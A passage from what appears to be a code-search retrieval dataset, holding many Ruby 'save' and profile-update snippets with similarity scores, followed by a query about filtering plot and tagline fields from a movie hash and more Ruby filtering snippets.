f.puts(JSON.pretty_generate(@config))\n end\n File.open(@completions_file, \"w\") do |f|\n f.puts(JSON.pretty_generate(@completions.to_a))\n end\n end", "def send_to_file\n File.open(\"userDetails/#{@@username}.json\", \"a\") do |f|\n f.puts JSON.generate(@new_score)\n end\n end", "def save_student(filename)\n File.open(filename, \"w\") do |file|\n @students.each do |student|\n parse_to_save_file(student, file)\n puts \"File saved!\"\n interactive_menu\n end\n end\nend", "def save_if_changed(options = {})\n save if changed?\n end", "def save\n return false if @changed_values.empty?\n @errors.clear\n temp_file = Tempfile.new('mini_exiftool')\n temp_file.close\n temp_filename = temp_file.path\n FileUtils.cp filename, temp_filename\n all_ok = true\n @changed_values.each do |tag, val|\n original_tag = MiniExiftool.original_tag(tag)\n arr_val = val.kind_of?(Array) ? val : [val]\n arr_val.map! {|e| convert e}\n tag_params = ''\n arr_val.each do |v|\n tag_params << %Q(-#{original_tag}=\"#{v}\" )\n end\n opt_params = ''\n opt_params << (arr_val.detect {|x| x.kind_of?(Numeric)} ? '-n ' : '')\n opt_params << (@convert_encoding ? '-L ' : '')\n cmd = %Q(#@@cmd -q -P -overwrite_original #{opt_params} #{tag_params} \"#{temp_filename}\")\n result = run(cmd)\n unless result\n all_ok = false\n @errors[tag] = @error_text.gsub(/Nothing to do.\\n\\z/, '').chomp\n end\n end\n if all_ok\n FileUtils.cp temp_filename, filename\n reload\n end\n temp_file.delete\n all_ok\n end", "def save\n if any?\n FileUtils.mkdir_p basedir if !Dir.exist? basedir\n backup if @backup\n\n # I do this the long way because I want an immediate sync.\n f = open(@file, 'w')\n f.write YAML::dump self\n f.sync\n f.close\n\n set_mode if @mode\n end\n true\n end", "def cmd_notify_save\n\t\t\t\tprint_status(\"Saving options to config file\")\n\t\t\t\tif @user_name and @webhook_url and $source\n\t\t\t\t\tconfig = {'user_name' => @user_name, 'webhook_url' => @webhook_url, 'source' => $source}\n\t\t\t\t\tFile.open(Notify_yaml, 'w') do |out|\n\t\t\t\t\t\tYAML.dump(config, out)\n\t\t\t\t\tend\n\t\t\t\t\tprint_good(\"All settings saved to #{Notify_yaml}\")\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"You have not provided all the parameters!\")\n\t\t\t\tend\n\t\t\tend", "def save(filename = nil, compact = false)\n\t\tend", "def save\n # Convert hash to JSON\n self_json = {email: @email, name: @name, permissions: @permissions}.to_json\n #Open the file and append the JSON to the file\n open('users.json', 'a') do |file|\n file.puts self_json\n end\n end", "def save\n\t\t# Ask the user for a file.\n\t\t# Defaults to current file.\n\t\tans = $screen.ask(\"save to: \",[@filename],true,true)\n\t\tif ans == nil\n\t\t\t$screen.write_message(\"Cancelled\")\n\t\t\treturn\n\t\tend\n\t\tif ans == \"\" then ans = @filename end\n\t\tif ans == \"\"\n\t\t\t$screen.write_message(\"Cancelled\")\n\t\t\treturn\n\t\tend\n\t\t# If name is different from current file name,\n\t\t# ask for verification.\n\t\tif ans != @filename\n\t\t\tyn = $screen.ask_yesno(\"save to different file: \"+ans+\" ? [y/n]\")\n\t\t\tif yn == \"yes\"\n\t\t\t\t@filename = ans\n\t\t\t\tset_filetype(@filename)\n\t\t\telse\n\t\t\t\t$screen.write_message(\"aborted\")\n\t\t\t\treturn\n\t\t\tend\n\t\tend\n\t\t# Dump the text to the file.\n\t\tFile.open(@filename,\"w\"){|file|\n\t\t\ttext = @text.join(@eol)\n\t\t\tfile.write(text)\n\t\t}\n\t\t# Let the undo/redo history know that we have saved,\n\t\t# for revert-to-saved purposes.\n\t\t@buffer_history.save\n\t\t# Save the command/search histories.\n\t\tif $hist_file != nil\n\t\t\t$buffers.save_hists\n\t\tend\n\t\t$screen.write_message(\"saved to: \"+@filename)\n\tend", "def save_opf!\n file.write(opf_path, opf_xml.to_s)\n\n opf_xml\n end", "def update_profile(user)\n create_feed(user, {:title => 'Profile changed', :description => \"#{create_link(user)}'s changed his profile\"})\n end", "def save\n write_properties\n notify(EVENT_SAVE, self)\n end", "def save(filename)\n writeln(\"save '#{filename}'\")\n end", "def save\n File.open(@file, 'w') do |file|\n file.write(Psych.dump(@params))\n end\n @saved = true\n end", "def save_state file=nil\n App.out.write_text_files file\nend", "def save\n if file\n # Ensure the current store has been loaded before we try to re-write it, this\n # is necessary if the program generator has crashed before creating a test\n store\n p = Pathname.new(file)\n FileUtils.mkdir_p(p.dirname)\n File.open(p, 'w') { |f| f.puts JSON.pretty_generate(store) }\n end\n end", "def save_profile\n @structure_component = StructureComponent.find(params[:id])\n @profile = Profile.new\n @profile.field_name = params[:field_name]\n @profile.field_type = params[:field_type]\n @profile.structure_component_id = @structure_component.id\n @profile.tenant_id = @structure_component.tenant_id\n @profile.save\n @structure_component.update_attribute(:is_saved, \"true\")\n redirect_to(\"/profiles/create_profile/#{@structure_component.id}\")\n end", "def update_profile\n @profile_form = ProfileForm.new(profile_params)\n if !@profile_form.valid?\n render :edit_profile\n elsif profile_params[:new_profile].present?\n dir = \"#{Rails.root}/app/assets/profiles/\"\n FileUtils.mkdir_p(dir) unless File.directory?(dir)\n profilename = profile_params[:name]+ \"_\" + Time.now.strftime('%Y%m%d_%H%M%S') + \".\" + ActiveStorage::Filename.new(profile_params[:new_profile].original_filename).extension\n File.open(Rails.root.join('app/assets/', 'images', profilename ), 'wb') do |f|\n f.write(profile_params[:new_profile].read)\n end\n @profile_form.profile = profilename\n update_user_profile(@profile_form)\n else\n update_user_profile(@profile_form)\n end\n end", "def write_info_file(option={})\n last_time = Util::LastTime.get(@info.filepaths.map{|path| @location + path})\n\n # update the scenario info file\n location = @location + \"pione-scenario.json\"\n if option[:force] or not(location.exist?) or last_time > location.mtime\n location.write(JSON.pretty_generate(@info))\n Log::SystemLog.info(\"update the scenario info file: %s\" % location.address)\n end\n end", "def save_picture(data)\n File.open('public/images/areas/'+ self.profile_picture,'w') do |f|\n f.write data\n end\n end", "def update_file\n output = (@blocks[:before] + @blocks[:attributes] + @blocks[:after]).join(\"\\n\").strip + \"\\n\"\n File.open(@filename,'w') { |f| f.write(output) } if output != @file\n end", "def save_checkpoint\n @api.send(\"world.checkpoint.save()\")\n end", "def save\n ::File.open(@file, \"w\") { |file| file << self.to_hash.to_yaml }\n end", "def save_students\n clear_terminal\n puts \"SAVE FILE\"\n puts \"-\" * \"SAVE FILE\".length\n puts\n list_of_files = list_csv_files\n if list_of_files.empty?\n filename = user_enter_filename\n else\n filename = select_filename(list_of_files)\n end\n puts\n File.open(filename, \"w\") do |file|\n file.puts @default_cohort\n @students.each do |student| \n student_data = [student[:name], student[:cohort]]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n end\n @saved = @students.count\n #file.close\n puts\n puts \"Students saved to '#{filename}'\"\n pause_program\nend", "def set_profile()\r\n name=params[0]\r\n trace_vals=params[1] \r\n trace_freqs=params[2] \r\n major=params[3] \r\n minor=params[4]\r\n loss=params[5]\r\n loss_flag=params[6]\r\n profile=Profile.find(:first,:conditions=>[\"name=?\",name]);\r\n if !profile.nil?\r\n logger.debug \"Saving #{profile.id}\"\r\n else\r\n logger.debug \"Saving new profile\"\r\n end\r\n\r\n #If record does not exist then create a new one.\r\n if (profile.nil?) \r\n profile=Profile.new()\r\n profile.name=name\r\n logger.debug \"Logging Profile #{profile.name}\"\r\n end\r\n trace=[]\r\n result={}\r\n result[:saved]=false\r\n logger.debug(\"#{trace_vals.length.inspect()} ------------ #{trace_freqs.length.inspect()}\")\r\n if (trace_vals.length.to_i ==trace_freqs.length.to_i)\r\n profile.trace=Profile.build_trace(trace_vals,trace_freqs)\r\n profile.major_offset=major\r\n profile.minor_offset=minor\r\n profile.loss_offset=loss\r\n profile.link_loss=loss_flag\r\n result[:saved]= profile.save \r\n else\r\n result[:error]=\"Freq. Count and Value count are not equal.\"\r\n end\r\n logger.debug result.inspect()\r\n if !result[:saved] \r\n result[:error]=profile.errors.full_messages.join(\"---\")\r\n end\r\n logger.debug result.inspect()\r\n respond_to do |format|\r\n format.amf { \r\n render :amf => result\r\n }\r\n end\r\n end", "def saveProfileNamespace \n \"saveProfileNamespace\" \n end", "def save\n\t\tbegin\n\t\t\tuser_profile = self.profile\n\t\t\tUser.create(\n\t\t\t\t:user_id => id,\n\t\t\t\t:login_name => username,\n\t\t\t\t:email => email,\n\t\t\t\t:join_tsz => created,\n\t\t\t\t:transaction_buy_count => user_profile.transaction_buy_count,\n\t\t\t\t:transaction_sold_count => user_profile.transaction_sold_count,\n\t\t\t\t:is_seller => user_profile.is_seller,\n\t\t\t\t:location => user_profile.lon ? [user_profile.lon, user_profile.lat] : nil,\n\t\t\t\t:image_url => user_profile.image,\n\t\t\t\t:country_id => user_profile.country_id,\n\t\t\t\t:gender => user_profile.gender,\n\t\t\t\t:oauth_token => nil,\n\t\t\t\t:oauth_token_secret => nil,\n\t\t\t\t:authenticated => false,\n\t\t\t\t:shop_id => @shop_id\n\t\t\t)\n\t\trescue NoMethodError\n\t\t\t# fairly rare at this point.\n\t\t\tputs \"associated_profile bug\"\n\t\tend\n\tend", "def save_match_to_file(fname)\r\n #fname_old_loc = File.expand_path(File.join( File.dirname(__FILE__) + \"/../..\",fname))\r\n fname_old_loc = fname\r\n File.open( fname_old_loc, 'w' ) do |out|\r\n YAML.dump( @info_match, out )\r\n end\r\n end", "def save\n dump = Marshal.dump(self)\n file = File.new(FILENAME, 'w')\n file = Zlib::GzipWriter.new(file)\n file.write(dump)\n file.close\n puts \"Bot state saved.\"\n end", "def add_profile(post, profile)\n post[:profile] = profile\n post[:profileupdate] = 'Y'\n end", "def save(game)\n\t\tprint \"Name the save: \"\n\t\tsave_name = gets.chomp.downcase\n\t\tDir.mkdir \"saves\" unless Dir.exists? \"saves\"\n\t\tfile_path = File.join(\"saves\", \"#{save_name}\")\n\t\tFile.open(file_path, \"w\") { |f|\n\t\t\tf.write(YAML.dump(game))\n\t\t}\n\t\tputs \"The game has been saved!\"\n\tend", "def save_as!(filename)\n @new_filename = filename\n save!\n self\n end", "def save!\n filepath.dirname.mkpath\n filepath.open( \"w\" ) do |f|\n f << YAML.dump( @entries )\n end\n clear_modified\n true\n end", "def save_state\n @refused['size'] = @auth_log.size\n IO.write(state_file, Psych.to_json(@refused))\n end", "def writeInfo\n # Make the directory to store the registration data.\n File.makedirs(File.dirname($datafilename))\n $debugdata = $debugdata + \"Makedirs\\n\"\n\n # Open the file to append the registration data.\n file = File.open($datafilename, \"a\")\n $debugdata = $debugdata + \"Open\\n\"\n # Write user data.\n file.puts($name + $sep +\n $organization + $sep + \n $email + $sep +\n $source + $sep + \n $use + $sep +\n $notification)\n $debugdata = $debugdata + \"puts\\n\"\n # Make sure the output file is always closed.\n file.close\n $debugdata = $debugdata + \"file.close\\n\"\n true\n\n rescue\n false\nend", "def save_to(path); end", "def set_profile\n end", "def save_game\n\t\t# If current game was previously saved, delete the old version of current game...\n\t\tif @running_saved_game != nil\n\t\t\tover_write_data\n\t\tend\n\t\t# And add new version of current game to saved data\n\t\tFile.open(@path, 'a+') do |f|\n\t\t\t\tf.puts \"#{@word.join},#{@guess},#{@wrong_letters},#{@turn}\"\n\t\tend\n\tend", "def save\n\n playerset('')\n $savefile = File.new(\"../Resources/Saves/save.txt\", \"w\")\n $savefile.puts(@@hand, @@ehand)\n cputs(\"saved\", \"green\")\n\nend", "def save\n File.write(yfile, to_yaml)\n end", "def save\n save_to_file(@output_file, @contents)\n end", "def update_profile(profile)\n @type = Type::CIM_UPDATE_PROFILE\n @fields.merge!(profile.to_hash)\n make_request\n end", "def save_state_if_changed\n data = ''\n @state_mutex.synchronize do\n return if @current_version == @saved_version\n data = serialize\n @saved_version = @current_version\n @last_save_time = Time.now.to_f\n end\n\n @logger.info(\"Writing state at version #@saved_version to #@state_file\")\n tmpfile = @state_file + '.tmp'\n File.open(tmpfile, File::CREAT|File::EXCL|File::RDWR, 0600) do |f|\n f.write(data)\n end\n File.rename(tmpfile, @state_file)\n end", "def save!; File.write @path, @data end", "def cmd_notify_save\n\t\t\t\tprint_status(\"Saving paramters to config file\")\n\t\t\t\tif @user_name and @webhook_url\n\t\t\t\t\tconfig = {'user_name' => @user_name, 'webhook_url' => @webhook_url}\n\t\t\t\t\tFile.open(Notify_yaml, 'w') do |out|\n\t\t\t\t\t\tYAML.dump(config, out)\n\t\t\t\t\tend\n\t\t\t\t\tprint_good(\"All parameters saved to #{Notify_yaml}\")\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"You have not provided all the parameters!\")\n\t\t\t\tend\n\t\t\tend", "def print_profile(profile)\n return if profile.nil? || profile[:already_printed]\n output.puts ''\n\n if profile[:name].nil?\n print_target\n profile[:already_printed] = true\n return\n end\n\n if profile[:title].nil?\n output.puts \"Profile: #{profile[:name] || 'unknown'}\"\n else\n output.puts \"Profile: #{profile[:title]} (#{profile[:name] || 'unknown'})\"\n end\n\n output.puts 'Version: ' + (profile[:version] || '(not specified)')\n print_target\n profile[:already_printed] = true\n end", "def resave\n write_safe\n pa %[The password file has been resaved], :green\n return true\n end", "def save\n # Nothing in base class. This should be used to persist settings in\n # subclasses that use files.\n end", "def save_intro\n self.current_stage = :profile_stage\n self.save validate: false\n true\n end", "def save\n ensure_file_open!\n @file.commit\n true\n end", "def save\n now = Time.now\n\n data = {\n :id => @id,\n :desc => @desc,\n :ctime => Timestamp.dump(@ctime) || Timestamp.dump(now),\n :mtime => Timestamp.dump(now),\n :ppg_filename => @ppg_filename,\n }\n jobinfo.write(YAML.dump(data))\n end", "def write_info(new_info)\n\tinfo = File.open(\"/Users/aasteward/Code/drills/007/accounts.csv\", \"a\")\n\tinfo.print new_info\n\tinfo.close\nend", "def save(fn)\n begin\n File.open(fn,\"w\") do |file|\n output = \"\"\n self.each do |key, value|\n output << key.to_s + \"=\" + value.to_s + \"\\r\\n\"\n end\n\n file.print output\n file.close\n end\n rescue\n raise \"Error: trouble saving configuration file: #{fn}.\\nDetails: #{$!}\"\n end\n end", "def download_profile(profile)\n UI.important \"Downloading provisioning profile...\"\n profile_name ||= \"#{profile.class.pretty_type}_#{Sigh.config[:app_identifier]}.mobileprovision\" # default name\n profile_name += '.mobileprovision' unless profile_name.include? 'mobileprovision'\n\n tmp_path = Dir.mktmpdir(\"profile_download\")\n output_path = File.join(tmp_path, profile_name)\n File.open(output_path, \"wb\") do |f|\n f.write(profile.download)\n end\n\n UI.success \"Successfully downloaded provisioning profile...\"\n return output_path\n end", "def create_save\n @save_data = {:turns => @turns,:guesses => @guesses,:secret_word => @secret_word, :hidden_word => @hidden_word}\n save = File.new(\"./lib/save.txt\", \"w+\")\n save.puts JSON::dump(save_data)\n save.close\n end", "def save(filename=@filename)\n backup_filename = filename + '~'\n File.delete(backup_filename) if File.exist? backup_filename\n FileUtils.mv(filename, backup_filename)\n File.open(filename, 'w') do |f|\n f.puts @header\n f.puts @body\n f.puts @gem_dependencies\n f.puts @dev_dependencies\n f.puts @footer\n end\n end", "def save_to_file(obj)\n File.open(@filename, @mode) do |aFile|\n aFile.puts \"#{obj}\"\n end\n end", "def save_status(file_path)\n begin\n Pathname.new(file_path).open('wb') do |f|\n @saved_at = Fluent::Engine.now\n @saved_duration = @saved_at - @last_checked\n Marshal.dump({\n :counts => @counts,\n :matches => @matches,\n :saved_at => @saved_at,\n :saved_duration => @saved_duration,\n :regexp => @regexp,\n :exclude => @exclude,\n :input_key => @input_key,\n }, f)\n end\n rescue => e\n log.warn \"out_grepcounter: Can't write store_file #{e.class} #{e.message}\"\n end\n end", "def save\n puts \"Would you like to save your progress? (y/n)\"\n puts \"\"\n response = gets.strip.downcase\n puts \"\"\n if response == \"y\"\n File.open(\"saves.yaml\", \"w\") do |file|\n file.puts YAML::dump(@computer)\n end\n puts \"Your game has been saved!\"\n puts \"\"\n else\n puts \"Lets just keep playing then!\"\n puts \"\"\n end\n end", "def create_save\n @save_data = {:turns => @turns,:guesses => @guesses,:secret_word => @secret_word, :hidden_word => @hidden_word}\n save = File.new(\"save.txt\", \"w+\")\n save.puts JSON::dump(save_data)\n save.close\n end", "def save_commit_info(sha)\n unless File.directory?(File.dirname(commit_info_file))\n FileUtils.mkdir_p(File.dirname(commit_info_file))\n end\n File.write(commit_info_file, sha)\n end", "def switching_to_new_profile?(new_profile)\n @last_profile && @last_profile != new_profile\n end", "def save\n File.open(file, \"w\") {|f| f.write(to_hash.to_yaml) }\n end" ]
[ "0.7312269", "0.6186856", "0.6153736", "0.61041945", "0.6049656", "0.6037678", "0.5966027", "0.5943658", "0.5921939", "0.5921939", "0.57977265", "0.57977265", "0.5783559", "0.5742084", "0.5723613", "0.5705808", "0.56592345", "0.5643205", "0.56192964", "0.5609533", "0.560909", "0.55749184", "0.5552633", "0.5507971", "0.5504751", "0.5475368", "0.5442672", "0.54380834", "0.5430828", "0.54290414", "0.53964126", "0.53848565", "0.5369326", "0.53628165", "0.5356842", "0.53537774", "0.53381306", "0.5336571", "0.5334801", "0.5334111", "0.53239274", "0.53231865", "0.53191185", "0.5309953", "0.5308464", "0.5291503", "0.5283917", "0.5269021", "0.52638966", "0.5263026", "0.5258423", "0.52566075", "0.5251042", "0.5241317", "0.5241183", "0.5229163", "0.52157396", "0.5214531", "0.5194123", "0.5187709", "0.51840216", "0.518126", "0.51805466", "0.5178511", "0.51736546", "0.51659", "0.5161544", "0.5161088", "0.514734", "0.5143976", "0.51432365", "0.51402104", "0.5136516", "0.5122808", "0.5120845", "0.5118665", "0.5118415", "0.51140857", "0.51043886", "0.5100339", "0.5096559", "0.5091382", "0.50908095", "0.50828695", "0.50820935", "0.5079558", "0.5071904", "0.50688833", "0.5067457", "0.50656223", "0.506196", "0.506092", "0.50579655", "0.5056547", "0.5055929", "0.50520104", "0.5051479", "0.50498617", "0.50445914", "0.5044464" ]
0.62137216
1
== Synopsis filter the given movie hash first collapsing (removing from Array) the plot, tagline, and overview values by removing, then removing any HTML tags such as , ,...
def filter(data) data.delete_if { |key, value| value.nil? } %w(plot tagline overview).each do |key| if data[key].respond_to?('first') data[key] = data[key].first end data[key] = data[key].gsub(FILTER_HTML, '') unless data[key].blank? end data end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def html_clean_filters( src_key, tree_key = nil )\n\n tree_key = \"#{src_key}_tree\".to_sym unless tree_key\n src_key, tree_key = src_key.to_k, tree_key.to_k\n\n filters = []\n filters << html_parse_filter( src_key, tree_key )\n\n #FIXME: PAGE: filters << TitleExtractor.new, or after?\n\n # FIXME: if src is text, last filter\n # filters << TextCtrlWSFilter.new( ContentKeys::TITLE )\n\n tfc = TreeFilterChain.new( html_tree_filters )\n\n filters << HTMLTreeFilter.new( tree_key, tfc,\n HTMLTreeFilter::Order::DEPTH_FIRST )\n\n #FIXME: First block extractor back to text key?\n\n filters\n end", "def taglines\n movie_taglines.css(\"#taglines_content > .soda\").map { |node| node.text.clean_tagline }\n end", "def parse_character_movies(films_hash)\n films_hash.collect do |movie|\n movie[\"title\"]\n end\nend", "def filter_index entry\n\tfilter_regex = /(\\[.+?\\]|<Prior.+?>|<JLPT.+?>|<GENKI.+?>|<LangNiv.+?>|<Usage.+?>|<JWD.+?>|<Jap.+?>|<DaID.+?>|<Etym.+?>|\\(<Ref.+?>\\))/\n \tentry.gsub(filter_regex, \"\")\nend", "def odd_years(array)\n #the variable movies is a new array of the filter array movie data\n the_movies = array.select {|movie|\n #it is filtering if the movie year is odd\n if movie[:year].odd?\n #if it is odd it will give the hash movie\n movie\n end\n }\n #this will output the new array of movies that are in odd number of years\n puts the_movies\nend", "def filter_without_image(response)\n resp = []\n response.each do |artist_info|\n resp << artist_info if artist_info.dig('image', -2, '#text').present?\n end\n resp\n end", "def filter\n doc = @mode == :xml ? Hpricot.XML(@str) : Hpricot(@str)\n base_path = ::Webby.site.base\n attr_rgxp = %r/\\[@(\\w+)\\]$/o\n sub_rgxp = %r/\\A(?=\\/)/o\n\n ::Webby.site.xpaths.each do |xpath|\n @attr_name = nil\n\n doc.search(xpath).each do |element|\n @attr_name ||= attr_rgxp.match(xpath)[1]\n a = element.get_attribute(@attr_name)\n element.set_attribute(@attr_name, a) if a.sub!(sub_rgxp, base_path)\n end\n end\n\n doc.to_html\n end", "def filter; end", "def filter; end", "def filter; end", "def filter_reviews(reviews, tags)\n result = []\n reviews.each do |review|\n keep = true\n review_tags = review.tags\n tags.each do |category, name|\n if category == 'title'\n keep = false if name.downcase != review.media.downcase\n elsif review_tags.find_by(category: category.capitalize,\n name: name.capitalize).nil?\n keep = false\n end\n end\n result.append(review) if keep\n end\n result\n end", "def movies\n # .each - visit everything once\n # .select - select only some whole things\n # .filter - synonym for select\n # .reject - opposite of select/filter\n # .map - 1:1 transformation of array\n # turns each one thing into something\n # given: [1, 2, 3].map {|n| n*n} \n # get: [1, 4, 9]\n self.showings.map do |showing|\n showing.movie\n end.uniq\n end", "def clean_facets_array(facets_array)\n Array(facets_array).map {|text| fix_subfield_demarcators(text) }.compact.uniq\n end", "def watch_movie (array)\n array.delete(\"Minions\")\n array\nend", "def filter_content content\n blacklist = [\"SEEK ID\"] #not yet defined, and should probably be regular expressions\n content = content - blacklist\n\n #filter out numbers\n content.reject! do |val|\n val.to_s.match(/\\A[+-]?\\d+?(\\.\\d+)?\\Z/) != nil\n end\n content\n end", "def parse_character_movies(films_hash)\n # some iteration magic and puts out the movies in a nice list\nend", "def clean_hashtag\n self.hashtag.slice!(0) if self.hashtag.first == \"#\"\n end", "def clean_entries(feed)\n full_sanitizer = Rails::Html::FullSanitizer.new\n feed.entries.map do |entry|\n clean_summary = full_sanitizer.sanitize(entry.summary)\n clean_sentences(clean_summary)\n end\n end", "def strip_unused(activity_groups)\n activity_groups.each do |group|\n return activity_groups unless group['activities']\n next unless STRIPPED_VERBS.include?(group['verb'])\n group['activities'] = [group['activities'].first]\n end\n activity_groups\n end", "def remove_extra_bars(contents)\n\t\t\tcontents = contents.gsub(/\\A\\|/, \"\")\n\t\t\tcontents = contents.gsub(/\\|\\Z/, \"\")\n\t\t\tcontents\n\t\tend", "def extract_hashtags\n description.to_s.scan(/#\\w+/).map{|name| name.gsub(\"#\", \"\")}\n end", "def unfiltered_content; end", "def unfiltered_content; end", "def unfiltered_content; end", "def parse_character_movies(films_hash)\n # some iteration magic and puts out the movies in a nice list\n return_array = []\n films_hash.each do |film|\n return_array.push(film[1][\"title\"])\n\n end\n return_array\nend", "def filter\n result = []\n\n @str.split(%r/\\<h1/i).each do |slide|\n next if slide.strip.empty?\n result << START_SLIDE << '<h1' << slide << END_SLIDE\n end\n\n result.join\n end", "def processEvent(e)\n if (e.index(\"&ndash;\") == nil)\n return {\"year\" => \"\", \"text\" => \"\"}\n end\n \n year = e.split(\"&ndash;\").first.strip\n year = year.split(\"|\").last.tr_s(\"[\",\"\").tr_s(\"]\",\"\")\n\n text = e.split(\"&ndash;\").drop(1).join.strip\n \n text = removeTokens(text, \"<ref\", \"</ref>\", false)\n text = removeTokens(text, \"{{'\", \"}}\", \"'\")\n \n # remove [[foo|bar]] tokens\n while text.index(\"[[\")\n startIndex = text.index(\"[[\")\n stopIndex = text.index(\"]]\")\n token = text[startIndex+2, stopIndex-startIndex-2]\n token = token.split(\"|\").last\n text[startIndex, stopIndex-startIndex+2] = token\n end\n \n text = removeTokens(text, \"<!--\", \"-->\", false)\n text = removeShips(text)\n text = removeTokens(text, \"{{Cite \", \"}}\", false)\n text = removeTokens(text, \"{{cite \", \"}}\", false)\n text = removeTokens(text, \"{{Citation\", \"}}\", false)\n text = removeTokens(text, \"{{citation\", \"}}\", false)\n text = removeTokens(text, \"{{Disambiguation \", \"}}\", false)\n text = removeTokens(text, \"{{disambiguation \", \"}}\", false)\n text = removeTokens(text, \"{{$\", \"}}\", \"$\")\n \n test = removeTokens(text, \"{{okina\", \"}}\", \"ʻ\")\n \n test = processItalics(text)\n text = processSpaceShuttles(text)\n text = processColons(text)\n \n text = text.strip\n \n return {\"year\" => year, \"text\" => text}\n \nend", "def filter_text txt\n txt.split(\"\\n\").reject { |l| l =~ /^[ ]*$/ or l =~ /^[ ]*#(.*?)$/ }\n end", "def strip_facets(facets_array, min, total_hits = nil)\n facets = {}\n facets_array.each_slice(2) do |t, ct|\n next if ct < min\n next if total_hits && ct == total_hits\n next if t.start_with?(\"ead/ archdesc/ \")\n facets[t] = ct\n end\n facets\n end", "def parse_character_movies(films_hash)\n # some iteration magic and puts out the movies in a nice list\n print_film_array = []\n films_hash.each_with_index do |film, index|\n print_film_array << \"Episode #{film[\"episode_id\"]} #{film[\"title\"]}\"\n end\n puts print_film_array.sort\n puts \"\\n\"\nend", "def filter(options, headers, row) \n matches = []\n \n # No Tag(s)\n if row[headers.index(\"tags\")].size == 0\n matches.append(\"No Tags\")\n end\n\n # No Topic(s)\n if row[headers.index(\"topics\")].size == 0\n matches.append(\"No Topics\")\n end\n \n # No Description\n if row[headers.index(\"description\")].size == 0\n matches.append(\"No Description\")\n end\n\n # > 5000 words (potentially look at shortening)\n if row[headers.index(\"wordcount\")].to_i > 5000\n matches.append(\"> 5000 words\")\n end\n\n return matches\nend", "def filter!; end", "def scrub_titles(text)\n \n # We don't want brackets in our JSON array, so we'll change them to parens\n text.gsub!(\"[\",\"(\")\n text.gsub!(\"]\",\")\")\n \n # And let's get rid of unicode characters, too...\n text = text.chars.normalize(:kd).gsub(/[^\\x00-\\x7F]/n,'').to_s\n \n # And just avoid double quotes for displaying titles.\n text.gsub!(\"\\\"\",\"\\'\")\n \n return text\n end", "def sanitized_hashtags\n modified_tags = hashtag_params.map do |hashtag|\n hashtag.first != '#' ? hashtag.prepend('#') : hashtag\n end\n modified_tags\n end", "def comment_filter(comments)\n # p comments\n comments.each do |info|\n # p info\n # p info[1].values\n info[1].values.each do |item|\n if item.gsub(/\\s+/, \"\") == \"\"\n comments.delete(info[0])\n end\n end\n end\n if comments.empty?\n \"empty\"\n else\n comments\n end\nend", "def remove(movie)\n @items.select! do |m| \n m.title != movie.title && \n m.year != movie.year\n end\n\n self.save_to_file()\n puts \"#{movie.title} has been removed from your watchlist.\\n\".green\n end", "def remove_unnecessary_data(info_hash) \n just_character_data = info_hash[\"results\"].flatten\nend", "def remove_bad_ident_matches(matches)\n passed_matches = []\n matches.each do |m|\n next if (m[\"match_type\"] == \"content_body\" &&\n m[\"matched_content\"] == \"(?-mix:Drupal)\")\n\n next if (m[\"match_type\"] == \"content_cookies\" &&\n m[\"matched_content\"] == \"(?i-mx:ADRUM_BTa)\" &&\n m[\"product\"] == \"Jobvite\")\n\n passed_matches << m\n end\n passed_matches\n end", "def filter_notes\n filters = []\n filters << {:re => /(https?:\\/\\/\\S+)/i, :sub => '<a href=\\1>\\1</a>'}\n filters << {:re => /\\brt:(\\d+)\\b/i, :sub => '<a href=https://apps.education.ucsb.edu/rt/Ticket/Display.html?id=\\1>rt:\\1</a>'}\n filters << {:re => /\\bwiki:([\\S\\(\\)_]+)/i, :sub => '<a href=http://wiki.education.ucsb.edu/\\1>wiki:\\1</a>'}\n filters << {:re => /#(\\S+)\\b/i, :sub => '<a href=/deezy/hosts?search[order]=&search[mac_or_ip_or_itgid_or_room_or_hostname_or_uid_or_notes_contains]=%23\\1>#\\1</a>'}\n\n @hosts = [@host] if @hosts == nil\n @hosts.each do |e|\n filters.collect { |f| e.notes.gsub! f[:re], f[:sub] }\n end\n end", "def filter_all(text)\n state = :copying\n result = []\n tagged_lines = []\n tag = args = nil\n text.split(/\\n/).each do |line|\n case state\n when :copying\n if line =~ inline_tag\n tag = $1\n args = $2.strip\n state = :inside_tag\n elsif line =~ single_tag\n tag = $1\n args = $2.strip\n result << @filters[tag.to_sym].filter_single(args)\n else\n result << line\n end\n when :inside_tag\n # :endinlinewhatever, :endwhatever or just plain :end\n if line =~ /^:end(inline#{tag}|#{tag})?(\\s.*)?$/\n result << @filters[tag.to_sym].filter_inline(tagged_lines.join(\"\\n\"),args)\n tagged_lines = []\n state = :copying\n else\n tagged_lines << line\n end\n end\n end\n\n result.join(\"\\n\")\n end", "def strip_hashes text\n return text if text =~ /^(?>\\s*)[^\\#]/\n\n empty = ''\n empty = RDoc::Encoding.change_encoding empty, text.encoding\n\n text.gsub(/^\\s*(#+)/) { $1.tr '#', ' ' }.gsub(/^\\s+$/, empty)\n end", "def clean_lines(script)\n script = script.split(\"\\n\") if script.is_a?(String)\n new_content = []\n script.each do |line|\n line = line.gsub(\"\\t\",' ').gsub(/ {2,}/,' ').strip\n next unless line.size > 0\n next if line =~ /Page\\s+\\d+$/\n next if line =~ /\\d+\\s+\\d+\\/\\d+\\/\\s+\\d+\\s+-\\d+:\\d+$/\n next if line =~ /Page\\s+\\d+.*F\\.A\\.S\\.S/\n new_content << line\n end\n new_content\n end", "def strip_text_unique(passage)\n strip_text(passage).uniq#unique\nend", "def remove_stopwords(ary)\n @filter.filter(ary)\n end", "def filter(objects) objects end", "def harmonize_results(tmdb, rt)\n tmdb.each do |movie|\n match = rt.find { |rotten| movie['title'] == rotten['title'] }\n if match\n movie.merge!({\n rotten_score: match['ratings']['critics_score'],\n rotten_url: match['links']['alternate'],\n imdb_id: match['alternate_ids'].try(:[], 'imdb')\n })\n end\n end\n end", "def profanity_filter(time, profanity_filter)\n\t\tcensored_words = IO.read(profanity_filter).split(\"\\n\").each { |w| w.gsub!(\"\\n\",\"\") }\n\n\t\tsubtitles_object_list = get_subtitle_objects_in_file\n\n\t\tmodified_subtitles = modify_subtitles(time, censored_words, subtitles_object_list)\n\t\t\n\t\t#print modified subtitles in a file\n\t\tfile_content = get_text_from_subtitles(modified_subtitles)\n\t\tIO.write(@file, file_content)\n\tend", "def tag_removed_summary(tag=\"あとで\")\n hatena = HatenaOAuth.new\n summary = hatena.edit_get(self.eid)[:entry][:summary]\n # 